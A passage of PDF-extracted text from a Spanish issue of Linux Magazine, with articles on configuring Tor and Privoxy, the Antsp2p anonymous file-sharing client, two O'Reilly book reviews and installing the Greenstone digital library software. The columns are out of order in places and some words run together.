denominado /etc/rc0.d/K20tor se asegura de

que Tor se ejecute automáticamente cada vez

que arranque el sistema. Tor tiene un pro-

blema que la mayoría de los programas de

encriptación y de anonimato poseen en

común: la encriptación tiende a ralentizar con-

siderablemente las comunicaciones con los

servidores webs remotos.

Y como postre, PrivoxyTor no elimina del todo el riesgo que presenta

la navegación. Como seguramente sabrá, el

navegador necesita buscar la dirección de la

máquina de destino enviando una solicitud a

un servidor DNS; el servidor resuelve el nom-

bre del servidor (como www.linux-magazine.

com) a la dirección IP (212.227.104.121). Pos-

teriormente, el servidor DNS envía la

dirección IP de vuelta al navegador. Si alguien

comprobase los ficheros de registro del servi-

dor DNS podría averiguar qué máquina ha

Privoxy • PORTADA

27Número 20W W W . L I N U X - M A G A Z I N E . E S

Chroot: Una medida de seguridad que

hace corresponder el directorio raíz

para Privoxy a /var/lib, impidiendo de

este modo a los posibles atacantes

acceder a directorios superiores del

sistema de ficheros.

Glosario

Figura 1: Tor reenvía las peticiones web a través de una serie de

nodos intermediarios para ocultar la identidad del usuario.

Figura 3: Configurando a Tor como el servidor proxy del navegador

web.

Figura 2: Tor ha abierto con éxito un circuito y se lo indica al

usuario.

Page 28: Linux Magazine - Edición en Castellano, Nº 20

ponerlo, no se realizará ningún reenvío.

Para Debian es preciso modificar el mismo

fichero, que en este caso se encuentra en

/etc/privoxy.

Ahora hay que actualizar la configuración

del proxy en Firefox y Mozilla de modo que

refleje los cambios. Es necesario introducir

la dirección IP 127.0.0.1 y el puerto 8118 en

la configuración del proxy. En este

momento se puede volver a mostrar la

página anterior que mostraba la dirección

IP. Si la dirección IP es correcta, Privoxy está

funcionando correctamente, pero si esta

dirección IP es otra distinta a la correcta,

entonces es que Tor también está funcio-

nando.

Un Cambio RápidoAnteriormente, si se utilizó el navegador

web en modo mixto, es decir, haciendo uso

de la función de anonimato algunas veces y

desactivada en otras, no había otra alterna-

tiva que conmutar manualmente el proxy a

encendido o apagado. Afortunadamente

esto ha cambiado: ahora disponemos de

una extensión Switch Proxy para Mozilla y

Firefox, que se puede instalar haciendo

doble clic en el enlace Gets more extensions

en la ventana Extensions [5]. Después de

reiniciar el navegador web, se debería tener

una nueva barra de estado para Switch

Proxy (Figura 5).

Para configurar Tor y Privoxy como el

nuevo proxy, hay que hacer clic en Add,

seleccionar la entrada Standard y luego

hacer clic en Next. Aparece una ventana

que permite la configuración del nuevo

proxy. No hay que olvidar asignarle un

nombre a esta configuración para poder

identificarla posteriormente. Cuando se

haya finalizado sólo hay que hacer clic en

Ok. Para conmutar entre las distintas confi-

guraciones del proxy se usa la lista junto a

la entrada Proxy .

Siendo un Agente de Microsoft¿Qué razón tenemos para decirles a todos

que usamos Linux y preferimos como nave-

gador a Firefox?. No hay ninguna buena

razón para revelar esta información, espe-

cialmente si ciertas páginas dan un portazo

a los usuarios de Linux.

La extensión User Agent Switcher [6] nos

ayuda a realizar esta tarea. Después de ins-

talarlo y reiniciar el navegador web, se

selecciona User Agent Switcher en el menú

Tools y se escoge Internet Explorer 6 (u

Opera 8.5 si se prefiere); el User Agent Swit-

cher nos debería identificar en este

momento como Internet Explorer… afortu-

nadamente, esto no significa que tengamos

los problemas de seguridad que vienen con

el navegador Internet Explorer real. �

buscado www.linux-magazine.com y

cuándo. Privoxy puede impedir esto utili-

zando Socks 4a, que, al contrario que los

Socks 4 y Socks 5, no necesitan convertir

los nombres de equipo a direcciones IP.

Privoxy es un proxy de filtrado para

HTTP que a menudo se utiliza junto con

Tor. Puede leerse todo lo referente a Privoxy

como filtro web en el número de Linux

Magazine edición en castellano de Diciem-

bre de 2005 [4].

Instalando PrivoxyLos usuarios con Suse 9.3 y 10.0 simple-

mente tienen que ejecutar YaST para

instalar Privoxy. Si se tiene Debian, se teclea

apt-get install privoxy. Una vez terminada la

instalación, Suse ejecutará Privoxy automá-

ticamente cada vez que se encienda la

máquina; para que no ocurra esto, hay que

ejecutar YaST, ir a la solapa System y hacer

clic en el botón Runlevel Editor. Suse Linux

ejecuta a Privoxy en una jaula Chroot.

Privoxy se ejecuta normalmente en

Debian de manera automática tras la insta-

lación; si no sucediera, se puede ejecutar

como root el siguiente comando:

/etc/init.d/privoxy restart.

El siguiente paso es indicarle a Privoxy

que reenvíe las peticiones Socks de Tor. Para

el reenvío de estas peticiones Socks, los

usuarios de Suse tienen que editar el fichero

/var/lib/privoxy/etc/config e introducir la

siguiente línea debajo del quinto elemento.

FORWARDING:

forward-socks4a / U

127.0.0.1:9050 .

Téngase en cuenta el punto que aparece

tras el número del puerto; si se olvida de

PORTADA • Privoxy

28 Número 20 W W W . L I N U X - M A G A Z I N E . E S

[1] El proyecto Privoxy: http://www.

privoxy.org/

[2] Tor: http:// tor.eff.org/

[3] Libevent como Suse-RPM: http://

linux01.gwdg.de/~pbleser/

rpm-navigation.php?cat=Libraries/

libevent/

[4] “Los Guardianes”, de Thomas

Leichtenstern; Linux Magazine edi-

ción en castellano nº12, 2005; p. 40.

[5] La extensión Switch Proxy de Firefox

y Mozilla: https://addons.mozilla.org/

extensions/moreinfo.

php?application=firefox&id=125

[6] El User Agent Switcher para Mozilla

y Firefox: http://chrispederick.com/

work/useragentswitcher/

RECURSOS

Figura 4: El sitio web cree que el usuario vive en Alemania, ya que

el nodo de salida que contacta con el servidor se está ejecutando en

un servidor alemán.

Figura 5: La extensión “Switch Proxy” de Firefox proporciona una

solución sencilla para habilitar y deshabilitar un conjunto de proxies.

Page 29: Linux Magazine - Edición en Castellano, Nº 20

Las aplicaciones más conocidas

para compartir archivos

revelan las direcciones IP de

los usuarios. Esto significa que si

participamos en una red

convencional de intercambio de

archivos, alguien podría llegar a

descubrir quiénes somos, y llevado

al extremo, dónde vivimos. Este

problema está de rabiosa actualidad

debido a las recientes demandas

judiciales de la industria musical y

cinematográfica. Dependiendo de

qué lugar del mundo hablemos, el

temor a una demanda es menor en

comparación con una querella

criminal. Algunos países más

represivos mantienen un férreo

control sobre el uso de Internet, y

cualquiera que opere al margen de

los censores oficiales está en riesgo

de quedar bajo arresto.

Estas tensiones dentro de la

comunidad del intercambio de

archivos han dado lugar a un nuevo

fenómeno: las redes de pares (P2P)

anónimas. El intercambio anónimo

es una importante tendencia en la

evolución de Internet. Los clientes

basados en Java para la red de

intercambio anónima Antsp2p [1]

nos muestran lo lejos que han

llegado estos proyectos a la hora de

conseguir el objetivo del anonimato.

“La privacidad es un derecho

fundamental en todo el mundo y

debe ser protegido”, comenta

Gwren, jefe de desarrollo de

Antsp2p, en una reciente entrevista

[2]. ¿Cómo ayuda esta prometedora

herramienta a proteger la privacidad

del usuario? ¿Y qué tiene que ver el

intercambio de archivos con las

hormigas? Siga leyendo para

adentrarse en el mundo del

intercambio de archivos con

Antsp2p.

El Rastro de las

Feromonas

En la red Antsp2p el ordenador de

un usuario pasa automáticamente a

ser un nodo o par y reenvía

información cifrada de manera

transparente a otros usuarios. Para

entrar en la red el cliente intenta en

primer lugar localizar direcciones IP

próximas.

Las hormigas siguen usualmente el

rastro más fuerte de feromonas hasta

Antsp2p • PORTADA

29Número 20W W W . L I N U X - M A G A Z I N E . E S

Compartir archivos se ha convertido en el pasatiempo favorito de

muchos usuarios de Internet. Pero las aplicaciones convencionales

para compartir archivos tienen un gran inconveniente: no son

anónimas. El proyecto Antsp2p pretende cambiar esto.

POR KRISTIAN KISSLING

El protocolo Diffie-Hellman Key

Exchange Protocol introduce un

elemento de riesgo. Un atacante que

lleva a cabo un ataque de tipo “un

hombre en medio” puede interceptar la

clave secreta y usarla para descifrar los

paquetes de información en la

conexión. Sin embargo, se prevee

introducir un certificado de intercambio

que permita solucionar este fallo.

Riesgos Potenciales deSeguridad

Compartir archivos de manera anónima con Antsp2p

HORMIGUITAS

Page 30: Linux Magazine - Edición en Castellano, Nº 20

ejecución al archivo descargado

(puede que necesitemos hacerlo

desde root) e iniciamos la

instalación:

nonumber

chmod u+x U

AntsP2P_Setup_U

beta1.4.7_p0.8.4.jar

java -jar U

AntsP2P_Setup_U

beta1.4.7_p0.8.4.jar

El cliente incluye un instalador muy

adecuado basado en interfaz gráfica.

El instalador nos pide en primer

lugar que cerremos todos los

programas activos antes de

continuar (parecido a un instalador

de Windows). El segundo paso es

especificar el directorio de

instalación de Antsp2p. Puede que

encontremos alguna dificultad a la

hora de establecer un enlace en el

paso 3, pero esto no afecta a la

instalación, aparte del mensaje de

error que se muestra a la derecha.

En el paso 4 el instalador nos

pregunta si estamos de acuerdo con

nuestra elección antes de comenzar

la instalación en el paso 5. Por

último, Antsp2p debería mostrar un

mensaje de éxito. Para ejecutar la

herramienta de intercambio de

archivos nos ubicamos en el

directorio con los archivos de

instalación /home/user/ANtsP2P (en

la mayoría de los casos) y cuando

estemos allí, basta con teclear

./ANtsP2P.

Primer ContactoEn primer lugar, un asistente de

configuración basado en interfaz

gráfica nos pide el idioma y el tipo

de conexión que tenemos. El

apartado de la dirección IP es algo

más complicado: puede que la

queramos dejar en blanco de

momento. A continuación tecleamos

una ruta para guardar los archivos

descargados. Por último,

seleccionamos el navegador que

Antsp2p va a lanzar al abrir los

enlaces, y ya está. La interfaz gráfica

de intercambio de archivos se

muestra en la Figura 1.

Reenvío de puertosSi su máquina está detrás de un

router, éste tendrá generalmente una

IP que usará para navegar por

Internet, siendo esta misma

dirección el punto de entrada a

nuestra red de cualquier

información que queramos

descargar. En este caso, nuestra

dirección IP sólo será válida dentro

del entorno de la red local. Esto es

malo si queremos que otros clientes

P2P contacten con nosotros. En este

supuesto, el router tiene que

reenviar los datos desde los puertos

requeridos por los paquetes

recibidos en nuestra máquina local.

Para mantener este proceso bajo

control tendremos que configurar la

interfaz de nuestro router. Para más

detalles podemos verificar el manual

del router o la página Web del

fabricante. Muchos routers nos

una fuente de comida sin saber en

realidad dónde les está llevando. De

una forma parecida, un par de

Antsp2p vecino no sabe dónde

encontrar un archivo, pero sabe cual

es la mejor ruta hasta el siguiente

nodo. Esta es la ruta que la mayoría

de las peticiones van a seguir, y la

que llevará al nodo hasta el archivo

solicitado a través de un rastro de

otros pares.

Esta técnica evita que alguien

desde un nodo rompa el cifrado de

los paquetes que se reenvían desde

esa máquina. Se usa el protocolo DH

para el intercambio de las claves

secretas de cifrado (véase el cuadro

“Riesgos Potenciales de Seguridad”).

Dentro de la red P2P los

ordenadores se identifican por

medio de números ID que se asignan

a cada participante tras establecer

con éxito un enlace. El principio

básico de Antsp2p reside en el hecho

de que nadie puede mapear una ID a

una dirección IP. Si un vecino

descarga un archivo de nuestro

ordenador, puede que veamos la IP

del ordenador y la ID que hace la

petición, aunque el vecino y el nodo

que hace la petición no suelen ser el

mismo. El vecino es simplemente un

intermediario y no tiene manera de

ver la información que es reenviada

por la máquina vecina, ya que dicha

información está cifrada. Esto es lo

que mantiene anónimo el

intercambio de archivos en la red

Antsp2p. Sin embargo, el anonimato

tiene un precio: Antsp2p es bastante

lento, y el número máximo de nodos

está limitado.

Instalar y ConfigurarLa versión beta de Antsp2p

disponible en este momento en la

página Web del proyecto [1] es la

1.4.7. La versión actual supone una

instalación previa del entorno Java

versión 1.5 [3]. Damos permisos de

PORTADA • Antsp2p

30 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: La interfaz gráfica de Antsp2p tras iniciarlo. Tenemos que esperar a que el programa

encuentre un vecino antes de que podamos comenzar a buscar archivos.

Si nuestra máquina está ubicada detrás

de un firewall debemos abrir los puer-

tos 4567 y 4568 para permitir que

entren los paquetes. Los usuarios de

Suse pueden hacerlo directamente

desde YaST.

Hormigas Cortafuegos

Page 31: Linux Magazine - Edición en Castellano, Nº 20

muestran una interfaz gráfica de

configuración cuando tecleamos en

nuestro navegador

http://192.168.0.1 ó

http://192.168.1.1. Tenemos que

reenviar los puertos TCP 4567 y

4568 para Antsp2p (véase Figura 2).

Si vamos a usar otro puerto distinto

al 4567, el segundo puerto direcciona

por defecto el puerto de salida más 1.

Si tenemos intención de usar Antsp2p

de manera regular durante un largo

periodo de tiempo necesitamos

conocer cómo administra

dinámicamente las direcciones IP

nuestro proveedor de Internet. Muchos

proveedores comerciales de Internet

asignan una nueva dirección IP vía

DHCP a intervalos regulares

(normalmente 24 horas). Esta

actualización de la dirección IP puede

interferir con la configuración de

nuestro Antsp2p.

Sin importar el tipo de router que

tengamos, AntsP2P necesita una

dirección IP visible del router en

Internet. Para averiguar esta dirección

sólo tenemos que navegar hasta una

página de búsquedas, teclear my ip y

abrir alguna de las páginas que

obtenemos como resultado. Esa página

nos indica la dirección IP visible que

tiene nuestra máquina en Internet en

ese momento. Tomamos nota de la

dirección IP, ya que la necesitaremos

luego para configurar Antsp2p.

¡Monten a sus Hormigas!Si echamos un vistazo a la interfaz

gráfica de Antsp2p (véase la Figura 1),

apreciamos dos pestañas tituladas Hit

Start Ants! y Help. La primera pestaña

nos muestra entre otras cosas el estado

actual: Ant not running. El campo ID

está vacío, y la dirección mostrada

bajo el campo señala 0:0:0.

Hora de montar a nuestras

hormigas: tecleamos 4567 como

puerto y pulsamos el botón Settings.

Aparece una tercera pestaña al

comienzo de la página que podemos

pulsar para acceder al menú de

configuración (véase Figura 3).

La línea IP or hostname es

importante, tecleamos nuestra

dirección IP visible ahí. No debemos

pulsar sobre el botón Update o el

programa restablece la dirección IP

local. En lugar de eso verificamos

Remember this address, y volvemos a

la pestaña Hit Start Ants!

Bienvenido al VecindarioLa cosa comienza a ponerse caliente.

En primer lugar, aparee una ID de

diez dígitos en el cuadro ID. Un reloj

en el cuadro justo abajo lleva el

tiempo. La pestaña muestra ahora el

mensaje Connected [Peers: n], donde

n representa el número de nodos

vecinos que ha encontrado el

Antsp2p • PORTADA

31Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 2: El reenvío de puertos en los routers se configura generalmente a través de una

interfaz Web.

Figura 3: Antes de ejecutar Antsp2p acudimos a la pestaña Settings para introducir nuestra

dirección IP. No debemos pulsar el botón “Update”.

Page 32: Linux Magazine - Edición en Castellano, Nº 20

resultados (véase Figura 4), esto

depende simplemente del número de

pares que Antsp2p haya descubierto.

Podemos pulsar el botón derecho del

ratón para que aparezca el menú y

seleccionar Download file (Create

secure connection) from n, donde n

es la ID del propietario del archivo.

El archivo aparece entonces en la

pestaña Downloads.

Suministro y DemandaSi dejamos Antsp2p ejecutándose

durante un buen rato, el proceso se

acelera algo, pero no debemos

esperar que el intercambio anónimo

de archivos pueda competir con

Amule o Ktorrent de momento.

Después de todo, normalmente sólo

hay una fuente por cada fichero.

Una aspecto destacable de Antsp2p

es que la herramienta tiene una

función de continuar. Esto nos

permite reanudar las descargas

desde donde las dejamos. La pestaña

Upload nos indica si alguien está

descargando alguno de nuestros

archivos. Para compartir archivos

simplemente los movemos al

directorio de descarga que hayamos

especificado.

Antsp2p permite un ajuste fino. La

pestaña Settings nos permite

configurar el número máximo de

vecinos, el número máximo de

conexiones seguras permitidas o el

número máximo de peticiones

permitidas. Gracias a More search

results podemos añadir más espacio

de descarga para los archivos

locales, mejorando de esta manera la

velocidad de la red. Si pulsamos en

Optimize Index le indicamos a

Antsp2p que pare lo que sea que

esté haciendo durante un minuto y

que mejore el rendimiento del nodo

mediante una optimización del

índice local. Desafortunadamente, la

red Antsp2p es tan lenta que esta

ligera modificación apenas

proporciona una mejora apreciable.

ConclusionesAntsp2p está en el camino adecuado

y su diseño parece prometer. La

interfaz es muy amigable, y el futuro

del intercambio de archivos

probablemente se encamina hacia el

anonimato. Dicho esto, nuestro

primer acercamiento ha sido una

experiencia discreta. Debemos ser

muy pacientes para poder disfrutar

realmente del intercambio de

archivos con esta herramienta.

Además, como casi a diario aparecen

nuevas versiones beta de Antsp2p,

posiblemente un lanzamiento más

reciente solucione alguno de los

problemas de rendimiento que

hemos encontrado con la versión

1.4.7.

Gwren, el desarrollador, vislumbra

el proyecto en su conjunto desde

una perspectiva a largo plazo: “No

sé en qué acabará todo esto, pero

estoy seguro de que la gente

terminará encontrando el modo de

intercambiar información de una

manera segura y eficiente”. Hasta

que encontremos la manera perfecta,

merece la pena probar Antsp2p. �

programa. Una aplicación de chat

situada en su propia pestaña IRC nos

facilita la búsqueda de pares. Esta

aplicación nos lleva a una sala de

chat con otros usuarios de Antsp2p,

pero no es necesario hablar. Es

simplemente la manera que tiene

Antsp2p de conocer nuevas rutas

hasta las direcciones IP. No hay que

preocuparse, como nadie conoce la

ID que corresponde a cada dirección

IP, nuestro anonimato no se ve

comprometido por la sesión de chat.

El siguiente paso es ser paciente.

Las hormigas son pequeños y

ocupados insectos, pero Antsp2p es

más parecido a una serpiente bajo

hielo: puede llevarle bastante

tiempo (hasta 20 minutos) antes de

que contacte con el primer vecino.

Este paso ha de completarse antes

de que aparezcan otras pestañas

como Downloads, Uploads y Search.

A continuación la línea de estado

nos indica que Your firewall is

correctly configured. Ahora ya somos

parte de la red Antsp2p y podemos

lanzar búsquedas.

Abrimos la pestaña Search,

tecleamos nuestra clave de búsqueda

y pulsamos Search by string. De

nuevo, puede llevarnos un buen rato

hasta que comiencen a aparecer los

PORTADA • Antsp2p

32 Número 20 W W W . L I N U X - M A G A Z I N E . E S

[1] Página del proyecto Antsp2p: http://

antsp2p.sourceforge.net

[2] Entrevista con Gwren en Slyck: http://

www.slyck.com/news.php?story=567

[3] Java Runtime Environment, Versión

1.5: http://java.sun.com/j2se/1.5.0/

download.jsp

RECURSOS

Figura 4: Como la red de intercambio aún no tenía demasiados usuarios en el momento de

escribir este artículo, hay pocas cosas compartidas. En la mayoría de los casos sólo tenemos

una fuente para cada archivo.

Page 33: Linux Magazine - Edición en Castellano, Nº 20

Libros • EVALUACIÓN

33Número 20W W W . L I N U X - M A G A Z I N E . E S

aquí es donde viene el problema: Perso-

nalmente, una vez había comprendido la

esencia de Ajax, necesitaba algo más

fuerte, más formal, no tan paternalista,

pero claro, en este libro no lo encontré. No

es el estilo Head Rush/First.

Además, debido a la abundancia de

cuadros, dibujos, flechas y esquemas, el

ratio de información por página puede lle-

gar a ser bastante bajo. Vamos, que poca

miga para tanto pan. Además, según los

autores, la repetición es uno de los pilares

del aprendizaje. Estoy de acuerdo en el

contexto de una clase con alumnos, pero

en un libro, uno siempre puede volver

atrás y releer ese capítulo donde te expli-

can el concepto que has olvidado. ¡Es un

libro! Sin embargo, con Head Rush… algu-

nas veces me encontraba preguntándome:

“Si esto ya lo han tocado ¿por qué me lo

vuelven a explicar?”

Los ejemplos en los siguientes capítu-

los, para mí, tendían a descafeinearse (en

clara contradicción con lo que se anun-

ciaba en la portada), más que por los

ejemplos en sí, por mi ansia de aprender

más de lo que me ofrecían. Desde luego

esta línea de libros no es para el desarro-

llador hardcore. Para ser justos, tampoco

lo pretende.

Creo que el público ideal para este tipo

de libro es el usuario que necesita una

introducción rápida a la tecnología que

aborda para un hack rápido en un

pequeño proyecto.

Y hablando de hacks…

Autor: Brett McLaughlin

Idioma: Inglés

Formato: Tapa blanda, 413 páginas

Editorial: O’Reilly

ISBN: 0-596-10225-9

Precio: 39,95 euros

LINUX SERVER HACKSVolume Two

La serie de Hacks

de O’Reilly abarca

una gran variedad

de temas: desde

Perl a la PSP, desde

Amazon hasta

Apache. En este

caso, el volumen

que voy a comen-

tar es la segunda

parte del popular Linux Server Hacks.

Seamos claros desde el principio: ¿Le vale la

pena al administrador de sistemas tener este

volumen en su estantería? Sinceramente, sí.

¿Es un volumen imprescindible? Sincera-

mente, no. Los volúmenes de la serie Hacks

son en esencia recetarios con soluciones auto-

contenidas a problemas discretos. De hecho,

en el sitio de O’Reilly animan a los visitantes a

enviar sus propios trucos con las siguientes

palabras:

”¿Tienes una solución no obvia a un pro-

blema interesante? Remite tu hack y

compártelo con otros en línea.”

Y, claro, eso es fantástico para ti… si tienes

el mismo problema.

Los libros de Hacks aportan muchas solu-

ciones directas a problemas concretos. Son

ideales para encontrar la clave para ese obstá-

culo que se interpone entre tú y tu fin de

semana, pero nunca podrán sustituir a un

buen manual. El manual ideal debe contener

todas las soluciones a todos los problemas del

software que documenta. En los volúmenes

de Hacks se documentan sólo los problemas

con los que se ha encontrado el autor… y que

ha podido resolver. Hay una gran diferencia.

Lo que es más, algunos hacks propuestos,

si bien interesantes, parecen no casar bien con

los otros trucos del libro. Así ocurre con los

trucos que versan sobre cómo introducir

Linux en la sala de máquinas y cosas que evi-

tar como novato, que de simples, más que

hacks, parecen los consejos de la abuelita (la

abuelita de los sysadmins, claro está).

En resumen, creo que muchos de los libros

de la serie Hacks valen la pena (al menos los

que yo tengo la valen), pero no esperes aho-

rrar espacio en tu biblioteca, porque no

pueden sustituir a los manuales.

Autores: Bill von Hagen y Brian K. Jones

Idioma: Inglés

Formato: Tapa blanda, 456 páginas

Editorial: O’Reilly

ISBN: 0-596-10082-5

Precio: 29,95 euros

Este mes, en nuestra sección de

evaluación, echamos un vistazo a

dos ejemplos típicos de las colec-

ciones atípicas de O’Reilly, las series

Head Rush/Head First y Hacks…

HEAD RUSH AJAXLos Head Rush/

Head First son

libros/tutoriales

que pretenden

transmitir conoci-

mientos de

manera rápida e

intuitiva al lector.

Utilizan un estilo

ligero, con abundancia de ilustraciones,

repasos y ejemplos acumulativos hasta lle-

gar a la solución final.

Este es el caso de Head Rush Ajax,

según el subtítulo, una guía de aprendi-

zaje cafeinada al mundo de las páginas

web dinámicas (en inglés la oración ante-

rior queda un poco mejor) e introduce al

lector a la programación de servicios web

con esta tecnología.

En principio, el libro parece cumplir las

expectativas que levanta: El paso es ligero

y acelerado, a través de ejemplos seleccio-

nados, se ilustran los problemas de las

aplicaciones web tradicionales y se explica

cómo Ajax puede ser la solución. Conti-

núa con un proyecto sencillo (muy

sencillo), que migra de servicio web tradi-

cional (basado en PHP y reloads de

página) a servicio web Ajax, y, honesta-

mente, para el profano, aclara muy bien

cuáles son los principios de esta tecnolo-

gía, cómo se usa y para qué sirve.

Las explicaciones claras, las ilustracio-

nes a través de ejemplos y los ejercicios de

repaso siguen todo a lo largo del libro… y

Head Rush Ajax y Linux Server Hacks

LIBROSO’Reilly se caracteriza por ser una editorial que, además de publicar

libros convencionales sobre tecnología y en especial sobre

informática, gusta de romper moldes y tomar riesgos en cuanto a

formatos y contenidos. Esto, como veremos, puede ser bueno y puede

ser malo. POR PAUL BROWN

Page 34: Linux Magazine - Edición en Castellano, Nº 20

Waikato en Nueva Zelanda [1]. Elpaquete Greenstone proporciona unanueva forma de organizar, preservar ypublicar información en Internet o en unCD/DVD. No se necesita de ningún soft-ware adicional para acceder a unacolección de documentos Greenstone.Valdría con cualquier navegador web.

Una biblioteca Greenstone puede ges-tionar gran cantidad de tipos diferentesde formatos de documentos, incluidosHTML, PostScript, PDF y MS-Word. Dehecho, Greenstone no está limitado adocumentos de texto, sino que ademáspuede gestionar documentos de imagen,audio y vídeo.

Esta herramienta consigue la indexa-ción de todo el texto almacenado,permitiendo a los usuarios la búsquedaen el contenido de los documentos o enlos metadatos almacenados, tales comoel título y autor. Greenstone es ademásaltamente configurable, permitiendo alos usuarios el diseño de la apariencia ydel comportamiento de la colección, asícomo del interfaz web.

La aplicación soporta múltiples len-guajes, incluidos el Árabe, Chino, Inglés,Francés, Maorí y Español entre otros.Puedes encontrar ejemplos de bibliote-cas digitales desarrolladas conGreenstone en [2] y [3].

PreparaciónGreensone requiere de un servidor weby, naturalmente, Apache es el recomen-dado. Supondremos que el servidor webApache ya está instalado y nos centrare-mos en cómo configurarlo para quefuncione con la herramienta. Además,Apache está disponible para la mayoría

de las distribuciones Linux, y en todocaso se puede descargar de [5].

Otro de los requisitos de Greenstone esPerl. Para comprobar que Perl ya está insta-lado en nuestro sistema podemos abrir unterminal y escribir perl -v para ver si apareceun mensaje donde se indica la versión delintérprete. Como en el caso anterior, lamayoría de las distribuciones Linux vienencon una versión de Perl disponible.

Nuestra aplicación se ejecuta en la mayo-ría de los Sistemas Operativos además deLinux, existiendo una versión para Solaris,Mac OS/X y Windows. De hecho, se podráejecutar en casi cualquier variante de Unix.Naturalmente para compilar Greenstonedesde su código fuente en Unix, necesitare-mos del compilador C/C++ de GNU(GCC) y, eso sí, del Gestor de Bases deDatos de GNU (GDBM).

InstalaciónLo primero que hay que hacer para instalarGreenstone es descomprimir el fichero tar:

$ tar xzvf gsdl-2.62-unix.tar.gz

La última versión tiene un instalador quenos guía pasa a paso por el proceso de insta-lación. Para ejecutar este instalador:

$ cd gsdl-2.62-unix

$ ./setupLinux.bin

El programa es instalado en /usr/local/gsdl

por defecto, pero esto requiere de privile-gios de administrador. De todas maneras esposible configurar la instalación para queésta se produzca en el directorio home delusuario. Existen tres opciones diferentes deinstalación:

Publicar documentos en la web essencillo, pero los bibliotecarios,documentalistas y otros expertos

necesitan sistemas más sofisticados paraorganizar la información en coleccionesdigitales. Una opción es construir una red denotas e índices estáticos, aunque esta alter-nativa es demasiado poco flexible,requiriendo un incremento del trabajo yactualizaciones constantes. Otras coleccionesdigitales hacen uso de scripts caseros y otrasherramientas propias, pero estas herramien-tas vuelven a necesitar un trabajoconsiderable y un mantenimiento continuo.

Una opción para los usuarios de softwarelibre que quieren construir colecciones digi-tales de una manera rápida y flexible esGreenstone. Greenstone es un conjunto deherramientas que pueden ser usadas para laconstrucción de nuestras propias bibliotecasdigitales. Este software no sólo indexa nues-tros documentos, sino que ademásproporciona un interfaz para la definición yorganización de los metadatos. La herra-mienta Greenstone proporciona a losdocumentalistas y gestores de coleccionescierta ventaja en la tarea de crear libreríasdigitales elegantes y altamente estructuradas.

En este artículo introduciremos el soft-ware para la generación de coleccionesdigitales Greenstone, y describiremos cómoinstalarlo y configurarlo. Adicionalmentemostraremos cómo construir una bibliotecadigital haciendo uso de un DVD que hemoscreado a partir de un montón de artículosde Linux Magazine descargados de Internety clasificados por número.

Qué es GreenstoneGreenstone es un programa de bibliotecadigital desarrollado en la Universidad de

PRÁCTICO • Greenstone

34 Número 20 W W W . L I N U X - M A G A Z I N E . E S

El paquete Greenstone te ayuda a construir tu propia biblioteca

digital. POR CHI-YU HUANG

Construyendo Bibliotecas Digitales con Greenstone

EL COLECCIONISTAEL COLECCIONISTAConstruyendo Bibliotecas Digitales con Greenstone

Page 35: Linux Magazine - Edición en Castellano, Nº 20

• Biblioteca Web (Web Library)

• Código Fuente (Source Code)

• Personalizada (Custom)

Si seleccionamos la segunda opción, Código

Fuente, el instalador copiará todos los fiche-

ros necesarios en los directorios de destino.

De esta manera podremos compilar el

código fuente con:

$ ./configure

$ make && make install

El tiempo de compilación es variable,

dependiendo de las características de la

máquina. Si estamos usando una máquina

Linux sobre un PC Intel x86 y es la primera

vez que usamos Greenstone, se recomienda

seleccionar la primera opción: Web Library,

que es la que instalará los binarios ya pre-

compilados. Esta opción sólo tardará unos

minutos. Al final de la instalación, seremos

consultados por una contraseña de admi-

nistración.

Montando el Servidor WebSuponiendo que estamos usando el servi-

dor Apache y que éste ya está en

funcionamiento, seguramente necesitare-

mos los privilegios de administrador (root)

para realizar los cambios que vienen a con-

tinuación. Como es costumbre, si no

disponemos de dichos privilegios debere-

mos hablar educadamente con el

administrador del sistema para que nos

eche una mano. Otra opción sería instalar y

ejecutar Apache como un usuario normal.

El servidor web debe poder ejecutar el

programa de biblioteca, que corresponde

con la aplicación web de biblioteca de

Greenstone. Usaremos la directiva

ScriptAlias de Apache para configurar un

directorio cgi-bin para nuestra aplicación.

Esto lo haremos añadiendo las siguientes

directivas al fichero de configuración de

Apache, httpd.conf:

ScriptAlias /gsdl/cgi-bin U

“/home/myuser/local/gsdl/cgi-bin”

<Directory U

“/home/myuser/local/gsdl/cgi-bin”>

Options None

AllowOverride None

</Directory>

Necesitaremos además configurar el direc-

torio de Greenstone para que sea accesible

por web, añadiendo la siguiente directiva

Alias tras la directiva ScriptAlias de nuestro

fichero de configuración:

Alias /gsdl U

“/home/myuser/local/gsdl”

<Directory U

“/home/myuser/local/gsdl”>

Options Indexes

MultiVires U

FollowSymLinks

AllowOverride None

Order allow, deny

Allow from all

</Directory>

Hay que fijarse en la referencia a

/home/myuser/local/gsdl en las directivas

anteriores. Es necesario cambiar este

camino por el directorio donde tengamos

instalado el programa Greenstone.

Una vez reiniciado el servidor Apache,

podemos acceder a Greenstone a través

de nuestro navegador web y yendo a la

dirección mostrada [6]. Podemos omitir

el puerto de la URL si nuestro servidor

web está funcionando en el puerto por

defecto 80. Por otro lado, si estamos eje-

cutando Apache como un usuario no

privilegiado y hemos modificado el

puerto de acceso, deberemos especifi-

carlo en la URL.

La Estructura de GreenstoneLa estructura de directorio de Greenstone

es mostrada en la Figura 1. Cuando cons-

truimos una nueva colección ésta es

creada en una nueva carpeta, llamada

collection_name, en el directorio de colec-

ciones de Greenstone

/home/myuser/local/gsdl/collect. Cada

colección contiene la misma estructura

directorio y subdirectorios (ver Figura 1).

En el directorio import es donde debe-

mos localizar nuestro material original. El

directorio archive contiene los resultados

del proceso de importación. El directorio

building es un directorio temporal usado

durante el proceso de construcción de la

colección. Su contenido es movido al

directorio index una vez ha concluido el

proceso. El directorio etc contiene la infor-

mación de configuración de la colección,

localizada principalmente en el fichero

collect.cfg. El directorio images contiene

las imágenes específicas de la colección.

En el directorio perllib podemos encontrar

los diferentes programas Perl específicos

de la colección. Para obtener más infor-

mación de la estructura de directorios del

sistema Greenstone es necesario consul-

tar la Guía de Usuario [8].

Construyendo con GLI

Para poder empezar a ver cómo funciona

realmente Greenstone, mostraremos cómo

construir una colección de biblioteca digital

haciendo uso de los archivos en DVD des-

cargados de Linux Magazine. Hay que notar

que esta colección es sólo para uso perso-

nal. Como norma general es importante

asegurarnos de cumplir los requisitos de la

licencia para cualquier material que publi-

quemos en formato biblioteca digital.

Nos aseguramos de que el DVD está

introducido en la unidad y que está mon-

tado. Necesitamos conocer dónde está el

directorio de montaje. Por ejemplo, en

Ubuntu el DVD se monta en /media/cdrom.

